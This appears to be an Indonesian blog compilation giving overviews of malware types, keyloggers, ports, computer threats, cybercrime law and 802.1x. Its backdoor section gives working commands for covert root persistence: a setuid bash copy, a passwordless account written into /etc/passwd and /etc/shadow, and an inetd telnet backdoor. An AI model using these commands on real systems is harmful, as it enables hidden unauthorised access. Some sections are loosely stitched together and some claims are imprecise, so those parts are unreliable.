yudi

Virus


Merupakan program buatan manusia yang dapat memperlambat kinerja sistem, merugikan serta merusak sistem. Program ini mempunyai kemampuan untuk mengembang atau menyebar yang telah diatur di dalam program tersebut.
Virus komputer dinamakan “Virus” karena memiliki beberapa persamaan mendasar dengan virus pada istilah kedokteran (biological viruses). Virus komputer dapat diartikan sebagai suatu program komputer biasa.Tetapi memiliki perbedaan yang mendasar dengan program-program lainnya, yaitu virus dibuat untuk menulari program-program lainnya, mengubah, memanipulasi bahkan merusak (virus hanya akan menulari apabila program pemicu atau program yang telah terinfeksi tadi dieksekusi yang berbeda dengan “Worm”)
untuk lebih lengkapnya mengenai pembahasan ini silahkan klik (baca selengkapnya)...

• Kriteria Virus
Suatu program yang disebut virus baru dapat dikatakan adalah virus apabila minimal memiliki 5 kriteria :

1. Kemampuan suatu virus untuk mendapatkan informasi
2. Kemampuannya untuk memeriksa suatu program
3. Kemampuannya untuk menggandakan diri dan menularkan
4. Kemampuannya melakukan manipulasi
5. Kemampuannya untuk menyembunyikan diri.

1.Kemampuan untuk mendapatkan informasi

Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada dalam suatu directory agar virus dapat mengenali program program apa saja yang akan di tulari, contoh virus makro yang akan menginfeksi semua file berekstensi *.doc setelah virus itu menemukannya, disinilah kemampuan mengumpulkan informasi itu diperlukan agar virus dapat membuat daftar/data semua file, terus memilahnya dengan mencari file-file yang bisa ditulari. Biasanya data ini tercipta saat program yang tertular/terinfeksi atau bahkan program virus ini dieksekusi. Sang virus akan segera melakukan pengumpulan data dan menaruhnya di RAM, sehingga apabila komputer dimatikan semua data hilang tetapi akan tercipta setiap program bervirus dijalankan dan biasanya dibuat sebagai hidden file oleh virus .

2.Kemampuan memeriksa suat program

Suatu virus juga harus bisa untuk memeriksa suatu program yang akan ditulari, misalnya : ia bertugas menulari program berekstensi *.doc, dia harus memeriksa apakah file dokumen ini telah terinfeksi ataupun belum, karena jika sudah maka dia akan percuma menularinya 2 kali. Ini sangat berguna untuk meningkatkan kemampuan suatu virus dalam hal kecepatan menginfeksi suatu file/program.Yang umum dilakukan oleh virus adalah memiliki/ memberi tanda pada file/program yang telah terinfeksi sehingga mudah untuk dikenali oleh virus tersebut. Contoh penandaan adalah misalnya memberikan suatu byte yang unik disetiap file yang telah terinfeksi.
3.Kemampuan untuk menggandakan diri

Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari program lainnya. Suatu virus apabila telah menemukan file atau program maka ia akan mengenalinya dengan memeriksanya, jika belum terinfeksi maka sang virus akan menulari dengan cara menuliskan byte pengenal pada program/file tersebut, dan seterusnya mengcopykan/menulis kode objek virus di atas file/program yang diinfeksi. Beberapa cara umum yang dilakukan oleh virus untuk menulari/ menggandakan dirinya adalah:

a. File/Program yang akan ditulari dihapus atau diubah namanya. Kemudian diciptakan suatu file menggunakan nama itu dengan menggunakan virus tersebut (maksudnya virus mengganti namanya dengan nama file yang dihapus)
b. Program virus yang sudah di eksekusi/load ke memori akan langsung menulari file-file lain dengan cara menumpangi seluruh file/program yang ada.

4.Kemampuan mengadakan manipulasi

Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus menulari suatu file/program. Isi dari suatu rutin ini dapat beragam mulai dari yang teringan sampai pengrusakan. Rutin ini umumnya digunakan untuk memanipulasi program ataupun mempopulerkan pembuatnya. Rutin ini memanfaatkan kemampuan dari suatu sistem operasi (Operating System), sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem operasi. misal:

a. Membuat gambar atau pesan pada monitor
b. Mengganti/mengubah ubah label dari tiap file, direktori, atau label dari drive di pc
c. Memanipulasi program/file yang ditulari
d. Merusak program/file
e. Mengacaukan kerja printer

5.Kemampuan Menyembunyikan diri

Kemampuan Menyembunyikan diri ini harus dimiliki oleh suatu virus agar semua pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana. Langkah-langkah yang biasa dilakukan adalah:

- Program asli/virus disimpan dalam bentuk kode mesin dan digabung dengan program lain yang dianggap berguna oleh pemakai.
- Program virus diletakkan pada Boot Record atau track yang jarang diperhatikan oleh komputer itu sendiri
- Program virus dibuat sependek mungkin, dan hasil file yang diinfeksi tidak berubah ukurannya
- Virus tidak mengubah keterangan waktu suatu file

• Siklus Hidup Virus
secara umum, melalui 4 tahap:
o Dormant phase ( Fase Istirahat/Tidur )
Pada fase ini virus tidak aktif. Virus akan diaktifkan oleh suatu kondisi tertentu, contoh : tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain.

o Propagation phase ( Fase Penyebaran )
Pada fase ini virus akan mengcopykan dirinya kepada suatu program atau ke suatu tempat dari media storage (baik hardisk atau ram). Setiap program yang terinfeksi akan menjadi hasil “klonning” virus tersebut (tergantung cara virus tersebut menginfeksinya)

o Trigerring phase ( Fase Aktif )
Di fase ini virus tersebut akan aktif dan hal ini juga di picu oleh beberapa kondisi seperti pada Dormant phase

o Execution phase ( Fase Eksekusi )
Pada Fase inilah virus yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan

Baca selengkapnya ��

Trojan


Merupakan sebuah program yang memungkinkan komputer kita dikontrol orang lain melalui jaringan atau internet dan merupakan replika atau duplikat dari virus. Trojan dimasukan sebagai virus karena sifat program yang tidak diinginkan dan bekerja dengan sendirinya pada sebuah komputer. Sifat trojan adalah mengkontrol computer secara otomatis. Misalnya komputer yang dimasuki trojan email. Trojan dimasukan dalam RATS (remote access trojans) di mana sebuah komputer dikontrol oleh program tertentu, bahkan beberapa trojan difungsikan membuka komputer agar dapat dimasuki oleh komputer dan diaccess dari jauh.

Dalam keamanan komputer merujuk kepada sebuah bentuk perangkat lunak yang mencurigakan (malicious software/malware) yang dapat merusak sebuah sistem atau jaringan. Dapat disebut sebagai Trojan saja (membuang kata horse).
mari kita simak lebih dalam lagi...

Trojan berbeda dengan jenis perangkat lunak mencurigakan lainnya seperti virus komputer atau worm karena dua hal berikut:
Trojan bersifat "stealth" (siluman dan tidak terlihat) dalam operasinya dan seringkali berbentuk seolah-olah program tersebut merupakan program baik-baik, sementara virus komputer atau worm bertindak lebih agresif dengan merusak sistem atau membuat sistem menjadi crash. Trojan tidak mereplikasi dirinya sendiri, sementara virus komputer dan worm melakukannya.

Penggunaan istilah Trojan atau Trojan horse dimaksudkan untuk menyusupkan kode-kode mencurigakan dan merusak di dalam sebuah program baik-baik dan berguna; seperti halnya dalam Perang Troya, para prajurit Yunani bersembunyi di dalam Kuda Troya yang ditujukan sebagai pengabdian kepada Poseidon. Kuda Troya tersebut menurut para petinggi Troya dianggap tidak berbahaya, dan diizinkan masuk ke dalam benteng Troya yang tidak dapat ditembus oleh para prajurit Yunani selama kurang lebih 10 tahun perang Troya bergejolak.

Kebanyakan Trojan saat ini berupa sebuah berkas yang dapat dieksekusi (*.EXE atau *.COM dalam sistem operasi Windows dan DOS atau program dengan nama yang sering dieksekusi dalam sistem operasi UNIX, seperti ls, cat, dan lain-lain) yang dimasukkan ke dalam sistem yang ditembus oleh seorang hacker untuk mencuri data yang penting bagi pengguna (password, data kartu kredit, dan lain-lain). Trojan juga dapat menginfeksi sistem ketika pengguna mengunduh aplikasi (seringnya berupa game komputer) dari sumber yang tidak dapat dipercayai dalam jaringan Internet. Aplikasi-aplikasi tersebut dapat memiliki kode Trojan yang diintegrasikan di dalam dirinya dan mengizinkan seorang cracker untuk dapat mengacak-acak sistem yang bersangkutan.
Sifat trojan adalah mengkontrol computer secara otomatis. Misalnya computer yang dimasuki trojan email. Trojan dimasukan dalam RATS (remote access trojans) dimana sebuah computer dikontrol oleh program tertentu, bahkan beberapa trojan difungsikan membuka computer agar dapat dimasuki oleh computer dan diaccess dari jauh.



Beberapa jenis Trojan yang beredar antara lain adalah:

• Pencuri password
Jenis Trojan ini dapat mencari password yang disimpan di dalam sistem operasi (/etc/passwd atau /etc/shadow dalam keluarga sistem operasi UNIX atau berkas Security Account Manager (SAM) dalam keluarga sistem operasi Windows NT) dan akan mengirimkannya kepada si penyerang yang asli. Selain itu, jenis Trojan ini juga dapat menipu pengguna dengan membuat tampilan seolah-olah dirinya adalah layar login (/sbin/login dalam sistem operasi UNIX atau Winlogon.exe dalam sistem operasi Windows NT) serta menunggu pengguna untuk memasukkan passwordnya dan mengirimkannya kepada penyerang. Contoh dari jenis ini adalah Passfilt Trojan yang bertindak seolah-olah dirinya adalah berkas Passfilt.dll yang aslinya digunakan untuk menambah keamanan password dalam sistem operasi Windows NT, tapi disalahgunakan menjadi sebuah program pencuri password.

• Pencatat penekanan tombol (keystroke logger/keylogger)
Jenis Trojan ini akan memantau semua yang diketikkan oleh pengguna dan akan mengirimkannya kepada penyerang. Jenis ini berbeda dengan spyware, meski dua hal tersebut melakukan hal yang serupa (memata-matai pengguna).

• Tool administrasi jarak jauh (Remote Administration Tools/RAT)
Jenis Trojan ini mengizinkan para penyerang untuk mengambil alih kontrol secara penuh terhadap sistem dan melakukan apapun yang mereka mau dari jarak jauh, seperti memformat hard disk, mencuri atau menghapus data dan lain-lain. Contoh dari Trojan ini adalah Back Orifice, Back Orifice 2000, dan SubSeven.

• DDoS Trojan atau Zombie Trojan
Jenis Trojan ini digunakan untuk menjadikan sistem yang terinfeksi agar dapat melakukan serangan penolakan layanan secara terdistribusi terhadap host target.

Ada lagi sebuah jenis Trojan yang mengimbuhkan dirinya sendiri ke sebuah program untuk memodifikasi cara kerja program yang diimbuhinya. Jenis Trojan ini disebut sebagai Trojan virus.

Mendeteksi keberadaan Trojan merupakan sebuah tindakan yang agak sulit dilakukan. Cara termudah adalah dengan melihat port-port mana yang terbuka dan sedang berada dalam keadaan "listening", dengan menggunakan utilitas tertentu semacam Netstat. Hal ini dikarenakan banyak Trojan berjalan sebagai sebuah layanan sistem, dan bekerja di latar belakang (background), sehingga Trojan-Trojan tersebut dapat menerima perintah dari penyerang dari jarak jauh. Ketika sebuah transmisi UDP atau TCP dilakukan, tapi transmisi tersebut dari port (yang berada dalam keadaan "listening") atau alamat yang tidak dikenali, maka hal tersebut bisa dijadikan pedoman bahwa sistem yang bersangkutan telah terinfeksi oleh Trojan Horse.

Cara lainnya yang dapat digunakan adalah dengan membuat sebuah "snapshot" terhadap semua berkas program (*.EXE, *.DLL, *.COM, *.VXD, dan lain-lain) dan membandingkannya seiring dengan waktu dengan versi-versi terdahulunya, dalam kondisi komputer tidak terkoneksi ke jaringan. Hal ini dapat dilakukan dengan membuat sebuah checksum terhadap semua berkas program (dengan CRC atau MD5 atau mekanisme lainnya). Karena seringnya Trojan dimasukkan ke dalam direktori di mana sistem operasi berada (\WINDOWS atau \WINNT untuk Windows atau /bin, /usr/bin, /sbin, /usr/sbin dalam keluarga UNIX), maka yang patut dicurigai adalah berkas-berkas yang berada di dalam direktori tersebut. Banyak berkas yang dapat dicurigai, khususnya berkas-berkas program yang memiliki nama yang mirip dengan berkas yang "baik-baik" (seperti "svch0st.exe", dari yang seharusnya "svchost.exe", sebuah berkas yang dijalankan oleh banyak layanan sistem operasi Windows) dapat dicurigai sebagai Trojan Horse.

Baca selengkapnya ��

Trap


Merupakan interupsi karena terjadinya kesalahan atau kondisi kekecualian (exception conditions) yang dihasilkan proses yang running pada Diagram State Proses, seperti usaha illegal dalam mengakses file. Dengan adanya trap, sistem operasi menentukan apakah kesalahan yang dibuat merupakan kesalahan fatal.

- Jika fatal, proses yang saat itu running disingkirkan dan terjadi alih proses.
- Jika kesalahan tidak fatal, maka bergantung sifat kesalahan dan rancangan sistem operasi.

Kemungkinan yang dilakukan adalah menjalankan prosedur pemulihan atau memperingatkan ke pemakai. Saat terjadi trap, dapat dimungkinan terjadi pengalihan proses, mungkin pula resume proses.

Baca selengkapnya ��

Spyware

Merupakan perangkat lunak yang mengumpulkan dan mengirim informasi tentang pengguna komputer tanpa diketahui oleh si pengguna itu. Informasinya bisa yang tidak terlampau berbahaya seperti pola berkomputer, terutama berinternet, seseorang sampai yang berbahaya seperti nomor kartu kredit, PIN untuk perbankan elektronik (e-banking) dan password suatu account. Informasi tentang pola berinternet, telah disebutkan, tidak terlampau berbahaya. Situs yang dikunjungi, informasi yang kerap dicari, obrolan di ruang chat akan dimata-matai oleh si spyware. Selanjutnya, informasi itu digunakan untuk menampilkan iklan yang biasanya berupa jendela pop-up. Iklan itu berhubungan dengan kebiasaan seseorang berinternet. Misalnya kerap kali seseorang mencari informasi mengenai kamera digital. Jendela pop-up yang muncul akan menampilkan, misalnya situs yang berdagang kamera digital. Adware adalah istilah untuk spyware yang begini.

Penyebaran spyware mirip dengan Trojan. Contohnya, flashget. Ketika flashget yang dipakai belum diregister, flashget bertindak sebagai spyware. Coba saja hubungkan diri ke internet, jalankan flashget yang belum diregister, cuekin computer beberapa saat, pasti muncul jendela internet explorer yang menampilkan iklan suatu situs.

Baca selengkapnya ��

Port-port komputer

1. Port 80, Web Server
Digunakan untuk web server, ketika user mengetikan alamat IP atau hostname di web broeser maka web browser akan melihat IP tersebut pada port 80,

2. Port 81, Web Server Alternatif
ketika port 80 diblok maka port 81 akan digunakan sebagai port altenatif hosting website

3. Port 21, FTP Server
Ketika seseorang mengakses FTP server, maka ftp client secara default akan melakukan koneksi melalui port 21 dengan ftp server

4. Port 22, SSH Secure Shell
Port ini digunakan untuk port SSH

5. Port 23, Telnet
Jika menjalankan server telnet maka port ini digunakan client telnet untuk hubungan dengan server telnet

6. Port 25, SMTP (Simple Mail Transport Protokol)
Ketika mengirim email ke server SMTP, maka port yg digunakan adalah port 25

7. Port 2525 SMTP Alternate Server
Port alternatifi aktif dari TZO untuk menservice forwarding email. Bukan standard port, tapi dapat digunakan apabila port SMTP terkena blok.

8. Port 110, POP Server
Jika menggunakan Mail server, user jika log ke dalam mesin tersebut via POP3 (Post Office Protokol) atau IMAP4 (Internet Message Access Protocol) untuk menerima emailnya, POP3 merupakan protokol untuk mengakses mail box

9. Port 119, News (NNTP) Server

10. Port 389, LDAP Server

11. Port 143, IMAP4 (Internet Message Access Protocol ) Server

12. Port 443, Secure Sockets Layer (SSL) Server
Untuk membuka Secure Transaction server.

13. Port 5900, Virtual Network Computing (VNC)

Baca selengkapnya ��

Keylogger

Keystroke logger atau disingkat keylogger, sering dihubungkan dengan kegunaannya sebagai tool terlarang atau jahat yang diinstalasi secara diam-diam untuk mengambil semua tombol yang ditekan. Sama seperti tool hacker lainnya, keystroke logging dimaksudkan sebagai tool administrasi dan diagnosis.

Keylogger adalah produk hardware atau utility software yang mencatat semua penekanan tombol pada komputer. Bisa saja hanya mencatat penekakan tombol dan datanya diambil secara manual, atau didesain supaya otomatis mengirimkan hasilnya ke suatu alamat e-mail. Keylogger hardware biasanya suatu perangkat yang dipasang di antara computer dan keyboard. Pengguna yang teliti atau waspada bisa memeriksa dan menemukan keylogger semacam ini. Namun, beberapa keylogger hardware lebih tersembunyi dan bisa saja dimasukkan ke dalam keyboard itu sendiri supaya tidak diketahui. Keylogger software biasanya terdiri dari dua file yang diinstalasi pada direktori yang sama: DLL yang melakukan semua pekerjaan dan EXE yang memuat DLL tersebut. Yang sederhana sering kali dijalankan pada waktu booting melalui registry. Yang lebih canggih tidak terlihat dalam daftar proses dan bisa beroperasi pada tingkat kernel serta entri registry-nya tidak terlihat. Terlepas dari bentuk mereka, keylogger dimaksudkan untuk mengawasi apa yang Anda ketik pada komputer sehingga dapat dilihat oleh pihak lain.
Manfaat buruk keylogger adalah digunakan untuk mencuri password dan username atau bahkan bisa juga untuk mencuri nomor credit card. Beberapa keylogger juga dilengkapi untuk mengirim hasil tangkapanya ke email tertentu. Akan tetapi keylogger bisa juga digunakan sebagai sarana back up data. Maksudnya anda bisa saja ketika mengetikkan sesuatu tiba-tiba software ketikan anda rusak atau not responding dan anda kehilangan hasil ketikan anda.

Keylogger adalah program spy yang akan mencatat segala aktivitas yang kita lakukan di suatu komputer dan menyimpan semua informasi kedalam log file. Bekerja dengan mendeteksi signal keyboard yang kita tekan. Awal mulanya program ini ditujukan bagi orang tua agar bisa mengontrol aktifitas anak-anak mereka di komputer. Akan tetapi oleh sebagian orang yang tidak bertanggung jawab, program ini digunakan untuk memata-matai dan mencuri informasi-informasi yang mungkin penting untuk mereka (password email, nick, channel irc).

Agar mengetahui di suatu komputer terdapat key logger (di OS under windows, pada sebagian besar warnet menggunakan ms windows untuk client) yaitu dengan membuka file-file registrasi. Sebagai contoh msconfig.exe (start --> run --> msconfig) maka akan muncul menu "system Configuration Utility" click menu "startup" secara default akan muncul 5-6 item yaitu :

1. scanregistry
2. TaskMonitor
3. System tray
4. load power profile
5. schedulingAgen
Atau dengan menggunakan cara lain untuk mencegah hal-hal yang tidak diinginkan akibat keylogger, biasanya situs-situs yang memerlukan privasi tinggi telah menggunakan fitur on-screen keyboard, yaitu aplikasi keyboard yang muncul di layar komputer. Namun jika situs yang di akses tidak menyediakan fasilitas tersebut, maka juga bisa menjalankan aplikasi on-screen keyboard dari komputer itu sendiri, dengan cara meng-klik menu start – run – lalu ketik ”osk.exe” (tanpa tanda kutip). sehingga pada saat login atau memasukkan data-data penting, dengan menggunakan mouse maka data pribadi tidak akan dapat terekam.

Cara awam mengamankan diri dari keylogger :

1. Masukkan huruf pertama dari password anda di kolom password. Misalnya passwordnya adalah “cinta”, ketikkan “c” pada kolom password
2. Buka notepad atau apa saja untuk mengetik. Ketikkan karakter acak secara sembarang di software tersebut, misalnya “lkid2@asldiuna.shf”
3. Masukkan huruf kedua dari password yaitu “i” di kolom password
4. Pindahkan kursor ke notepad kemudian ketikkan karakter acak secara sembarang di notepad (jangan hapus ketikan acak sebelumnya) misalnya “j;;kmqw89d7we”
5. Masukkan huruf ketiga password yaitu “n”
6. Pindah ke notepad kemudian ketikkan karakter acak sembarang misalnya “e78d3e2enh,.asyudas”
7. Lanjutkan sampai password terisi dengan benar.

Bila komputer terpasang keylogger, setiap ketikan akan direkam termasuk password. Saat mengetikkan password, huruf pertama anda masukkan “c” kemudian karakter acak sembarang maka semua karakter ketikan akan terekam dengan baik oleh keylogger. Si “maling” akan mendapatkan karakter panjang tak bermakna yang cukup membingungkan untuk menentukan apa password korbannya.

Maka string yang didapatkan si “maling” :
clkid2@asldiuna.shfij;;kmqw89d7wene78d3e2enh,.asyudast‘9weuryqwrbsd8u8′pejs,cjhsa

Anda bisa mempraktekkan cara di atas untuk setiap komputer yang dicurigai berkeylogger atau ingin lebih aman mengakses internet di komputer umum. Cara ini bisa dipakai bukan hanya untuk browser tapi juga e-mail client atau aplikasi lainnya. Bisa digabungkan dengan username sehingga mempersulit si maling untuk mendapatkan combo username & password.

Akan tetapi, walupun cara ini bisa “membodohi” kebanyakan hardware/software keylogger tetapi tidak bisa menghindari software keylogger yang berkemampuan capture screen.

Baca selengkapnya ��

Backdoor

Merupakan jalan belakang untuk menghindari password untuk login. Jalan belakang ini dimungkinkan karena aplikasi atau rootkit yang jalan dikomputer tersebut. Sehingga Backdoor merupakan suatu istilah yang seringkali digunakan untuk masuk ke dalam sistem tanpa sepengetahuan administrator, namun hal tersebut bisa dilakukan jika penyusup pernah masuk kedalam sistem tersebut dengan hak akses root. Pemberian backdoor dilakukan untuk mempermudah mereka memasuki sistem tersebut jika jalan yang telah dibuat dengan eksploit telah ditutup oleh administrator. Sehingga tujuan dari backdoor bukan untuk mendapatkan previlege root, tetapi untuk mendapatkan kembali previlege yang pernah diperoleh. Contoh sederhana dari backdoor adalah mengganti user id dengan user id root yaitu 0.

• Cara Membuat backdoor :
Tujuan utama dari backdoor adalah agar kita mempunyai jalan belakang menuju sasaran yang tentu saja tidak atau susah diketahui oleh sang pemilik. Berikut langkah-langkah membuat Backdoor adalah :

Local Backdoor
cd /bin
cp bash load
chgrp root load
chmod +s load
Type load in console to get root access

User Backdoor ( Tanpa Password )
echo test::512:512:4:/:/bin/bash >> /etc/passwd
echo test::11092:0:99999:7:-1:-1:134537332 >>
> /etc/shadow
Contoh:
Red Hat Linux release 6.0 Publisher's Edition
> (Hedwig)
Kernel 2.2.5-15smp on an i686
login: Escuver
[test@xes /]$

Port Backdoor
echo stream tcp nowait root
> /usr/sbin/in.telnetd
in.telnetd >> /etc/inetd.conf
/etc/rc.d/init.d/inet restart

Ketiga Backdoor ini dapat digunakan bersama. Pertama, telnet ke server menggunakan port backdoor, kemudian masukan backdoored login (username) Terakhir ketik Load.

Baca selengkapnya ��

Jenis-jenis Ancaman Komputer

 1. Interupsi (interuption).
Sumber daya sistem komputer dihancurkan atau menjadi tak tersedia atau tak berguna. Interupsi merupakan ancaman terhadap ketersediaan.
Contoh : penghancuran bagian perangkat keras, seperti harddisk, pemotongan kabel komunikasi.
2. Intersepsi (interception).
Pihak tak diotorisasi dapat mengakses sumber daya. Interupsi merupakan ancaman terhadap kerahasiaan. Pihak tak diotorisasi dapat berupa orang
atau program komputer.
Contoh : penyadapan untuk mengambil data rahasia, mengetahui file tanpa diotorisasi.
3. Modifikasi (modification).
Pihak tak diotorisasi tidak hanya mengakses tapi juga merusak sumber daya. Modifikasi merupakan ancaman terhadap integritas.
Contoh : mengubah nilai-nilai file data, mengubah program sehingga bertindak secara berbeda, memodifikasi pesan-pesan yang di transmisikan pada jaringan.
4. Fabrikasi (fabrication).
Pihak tak diotorisasi menyisipkan/memasukkan objek-objek palsu ke sistem.
Fabrikasi merupakan ancaman terhadap integritas.
Contoh : memasukkan pesan-pesan palsu ke jaringan, penambahan record ke file.

• Contoh kasus dalam Sistem Informasi :
Kasus Keamanan Sifo
Deadlock adalah suatu kondisi dimana dua proses atau lebih saling menunggu proses yang lain untuk melepaskan resource yang sedang dipakai. Karena beberapa proses itu saling menunggu, maka tidak terjadi kemajuan dalam kerja proses-proses tersebut. Deadlock adalah masalah yang biasa terjadi ketika banyak proses yang membagi sebuah resource yang hanya boleh dirubah oleh satu proses saja dalam satu waktu.

Prinsip dari Deadlock
Deadlock dalam arti sebenarnya adalah kebuntuan. Kebuntuan yang dimaksud dalam sistem operasi adalah kebuntuan proses. Jadi Deadlock ialah suatu kondisi dimana proses tidak berjalan lagi ataupun tidak ada komunikasi lagi antar proses. Deadlock disebabkan karena proses yang satu menunggu sumber daya yang sedang dipegang oleh proses lain yang sedang menunggu sumber daya yang dipegang oleh proses tersebut. Dengan kata lain setiap proses dalam set menunggu untuk sumber yang hanya dapat dikerjakan oleh proses lain dalam set yang sedang menunggu.
Strategi untuk menghadapi deadlock dapat dibagi menjadi tiga pendekatan, yaitu :
1. Mengabaikan adanya deadlock.
2. Memastikan bahwa deadlock tidak akan pernah ada, baik dengan metode Pencegahan, dengan mencegah empat kondisi deadlock agar tidak akan pernah terjadi. Metode Menghindari deadlock, yaitu mengizinkan empat kondisi deadlock, tetapi menghentikan setiap Proses yang kemungkinan mencapai deadlock.
3. Membiarkan deadlock untuk terjadi, pendekatan ini membutuhkan dua metode yang saling mendukung.

• Contoh kasus dalam Sistem Komputer :
Ancaman-ancaman canggih terhadap sistem komputer adalah program yang mengeksploitasi kelemahan sistem komputer. Ancaman-ancaman tersebut dapat dibagai dalam 2 katagori, yaitu:
1. Program-program yang memerlukan program inang (host program)
Fragmen program tidak dapat mandiri secara independen dari suatu program aplikasi, program utilitas atau program sistem.
2. Program-program yang tidak memerlukan program inang.
Program sendiri yang dapat dijadwalkan dan dijalankan oleh sistem operasi.

Adapun bentuk dari ancaman itu sendiri di antaranya :
• Bacteria
Bacteria adalah program yang mengkonsumsi sumber daya sistem dengan mereplikasi dirinya sendiri.
Bacteria tidak secara eksplisit merusak file.
Bacteria bereproduksi secara eksponensial, dengan cepat mengambil alih seluruh kapasitas pemroses, memori atau ruang disk, mengakibatkan penolakan pengaksesan pemakai
ke sumber daya.

• Logic Bomb
Logic Bomb adalah logik yang ditempelkan pada program komputer agar memeriksa suatu kompulan kondisi di sistem. Ketika kondisi-kondisi terpenuhi, logik mengeksekusi suatu fungsi yang menghasilkan aksi-aksi tak terotorisasi.

• Trapdoor
Trapdoor adalah titik masuk tak terdokumentasi rahasia di suatu program untuk memberikan akses tanpa metodemetode otentifikasi normal. Trapdoor telah dipakai secara benar selama bertahun-tahun oleh pemrogram untuk mencari kesalahan program. Trapdoor menjadi ancaman ketika digunakan pemrogram jahat untuk memperoleh pengaksesan tak diotorisasi

• Trojan Horse
Trojan Horse adalah rutin tak terdokumentasi rahasia ditempelkan dalam satu program berguna. Program yang berguna mengandung kode tersembunyi yang ketika dijalankan melakukan suatu fungsi yang tidak diinginkan. Eksekusi program menyebabkan eksekusi rutin yang rahasia tersebut.

• Virus
Virus adalah kode yang ditempelkan dalam satu program yang menyebabkan pengkopian dirinya disisipkan ke satu program lain atau lebih. Program menginfeksi program-program lain dengan memodifikasi program-program tersebut. Modifikasi itu termasuk memasukkan kopian program virus yang kemudian dapat menginfeksi program-program lain.

• Worm
Worm adalah program yang dapat mereplikasi dirinya dan mengirim kopian-kopian dari komputer ke komputer lewat hubungan jaringan. Network Worm menggunakan jaringan untuk menyebarkan dari sistem ke sistem lain. Sekali aktif di suatu sistem, network worm dapat berlaku seperti virus, bacteria atau trojan horse atau emlakukan sejumlah aksi menjengkelkan atau menghancurkan.

• Contoh kasus dalam Transaksi Perbankan :
a. Joycomputing, diartikan sebagai perbuatan seseorang yang menggunakan komputer secara tidak sah atau tanpa ijin dan menggunakannya dengan melampaui wewenang yang diberikan. Tindakan ini dapat dikategorikan sebagai tindak pidana pencurian (Pasal 362 KUHP).

b. Hacking, diartikan sebagai tindakan ini dapat di kategorikan sebagai tindakan pidana perbuatan tanpa wewenang masuk dengan memaksa ke dalam rumah atau ruangan yang tertutup atau pekarangan atau tanpa haknya berjalan di atas tanah milik orang lain (Pasal 167 dan 551 KUHP).

c. The Trojan Horse, diartikan sebagai tindak pidana penggelapan (Pasal 372 dan 374). Apabila kerugian yang ditimbulkan menyangkut keuangan negara, tindakan ini dapat dikategorikan sebagai tindak pidana korupsi.

d. Data Leakage, diartikan sebagai pembocoran data rahasia yang dilakukan dengan cara menulis data-data rahasia tersebut kedalam kode-kode tertentu sehingga data dapat dibawa keluar tanpa diketahui pihak yang bertanggungjawab. Tindakan ini dapat dikategorikan sebagai tindak pidana terhadap keamanan negara (Pasal 112, 113 dan 114 KUHP) dan tindak pidana membuka rahasia perusahaan atau kewajiban menyimpan rahasia profesi atau jabatan (Pasal 322 dan 323 KUHP).

e. Data diddling, diartikan sebagai suatu perbuatan yang mengubah data valid atau sah dengan cara yang tidak sah, yaitu dengan mengubah input data atau output data. Tindakan ini dapat dikategorikan sebagai tindak pidana pemalsuan surat (Pasal 263 KUHP). Upaya yang dilakukan oleh BPHN yang melakukan penafsiran terhadap berbagai ketentuan yang ada khususnya ketentuan KUHP terhadap aktivitas cybercrime, kiranya sudah cukup baik dalam upaya menanggulangi aktivitas cybercrime yang sudah sangat nyata berada di tengah-tengah kita, meskipun baru sebatas suatu upaya untuk mengisi kekosongan hukum. Akan tetapi sebagaimana telah disebutkan di muka, perbedaan konsep mengenai ruang dan waktu dari ketentuan hukum Pidana dengan sifat khas dari cybercrime, dapat membawa kesulitan dalam penerapannya, bahkan untuk beberapa pasal penerapan KUHP terhadap aktivitas di cyberspace patut untuk dipertanyakan.

2. Jenis-jenis Keamanan Komputer antara lain :
• Protokol 802.1x
Protokol 802.1x adalah sebuah protokol yang dapat melakukan otentikasi pengguna dari peralatan yang akan melakukan hubungan ke sebuah titik-akses. Dengan protokol ini, ketika sebuah komputer melakukan hubungan ke sebuah titik-akses (hub atau switch), maka pengguna komputer tersebut perlu melakukan otentikasi sebelum komputer tersebut terhubung ke jaringan komputer. Protokol ini sangat berguna untuk melindungi jaringan komputer sekaligus meng-akomodasi pengguna-pengguna yang memiliki peralatan atau komputer yang bersifat mobile seperti notebook atau PDA. Dengan digunakannya protokol ini, dapat dijamin bahwa peralatan komputer yang berusaha melakukan akses ke jaringan komputer sedang dipergunakan oleh pihak yang memang telah diizinkan untuk melakukan akses.
Tiga komponen yang terlibat dalam protokol ini adalah peralatan yang akan melakukan akses (supplicant), server yang akan melakukan otentikasi (server RADIUS) dan peralatan yang menjadi titik akses (otentikator). Secara umum, tahapan-tahapan dalam protokol ini adalah :
1. Secara default akses ke jaringan tertutup.
2. Sebuah supplicant melakukan akses dan meminta izin akses ke otentikator, yang kemudian meneruskannya ke server otentikasi.
3. Server otentikasi menjawab dengan memberikan 'tantangan' ke supplicant melalui otentikator.
4. Melalui otentikator, supplicant menjawab 'tantangan' yang diberikan.
5. Apabila jawaban yang diberikan supplicant benar, server otentikasi akan memberitahu ke otentikator yang kemudian akan memberikan akses jaringan ke supplicant.
6. Akses jaringan yang sudah terbuka, akan tetap terbuka sampai ketika terjadi perubahan status koneksi, misalnya koneksi diputus oleh pengguna atau alat yang terhubung berubah. Ketika terjadi perubahan status, akses akan kembali ditutup dan proses otentikasi akan berulang kembali.

Pada perkembangannya, protokol ini digunakan secara lebih mendalam, bukan hanya untuk melakukan otentikasi terhadap pengguna peralatan yang melakukan akses, melainkan juga akan digunakan untuk memeriksa apakah konfigurasi peralatan yang melakukan akses sudah sesuai dengan kebijakan yang berlaku. Misalkan akan dilakukan pemeriksaan apakah program antivirus yang berjalan pada sebuah notebook yang akan melakukan koneksi sudah mempergunakan versi yang terbaru, jika kondisi tersebut tidak terpenuhi maka akses jaringan tidak akan diberikan. Selain itu protokol ini juga dapat digunakan untuk menegakkan sebuah kebijakan pada peralatan-peralatan yang akan melakukan akses jaringan komputer.
Kelemahan dari protokol ini adalah, protokol ini harus diimplementasikan satu per satu pada semua switch/hub yang menjadi titik akses jaringan komputer.



• Mac Address
